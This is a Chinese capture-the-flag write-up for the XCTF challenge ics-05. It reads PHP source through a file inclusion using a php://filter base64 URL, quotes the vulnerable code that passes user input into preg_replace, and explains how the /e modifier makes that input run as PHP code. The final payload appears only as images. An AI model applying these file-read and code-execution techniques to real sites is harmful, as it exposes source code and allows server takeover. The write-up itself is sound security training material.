攻防世界ics-05

知识点:

  1. php伪协议:
    php://filter/convert.base64-encode/resource=xx.php

  2. preg_replace()函数漏洞
    preg_replace函数原型:
    mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
    /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。


1.进入题题目:根据提示直接点入设备维护中心

攻防世界ics-05_第1张图片

2.查看源码之后没有发现什么疑点,点击云平台设备维护中心后出现可疑点,怀疑是文件读取漏洞

攻防世界ics-05_第2张图片

3.利用PHP伪协议读取源码:

http://111.198.29.45:52591/index.php?page=php://filter/convert.base64-encode/resource=index.php
攻防世界ics-05_第3张图片
base64解密:






    
    
    
    
    
    设备维护中心
    



    
    
设备列表












0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?>





Welcome My Admin !
"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?>

3.代码审计一波

攻防世界ics-05_第4张图片

4.构造payload如下:

攻防世界ics-05_第5张图片攻防世界ics-05_第6张图片攻防世界ics-05_第7张图片攻防世界ics-05_第8张图片

你可能感兴趣的:(攻防世界ics-05)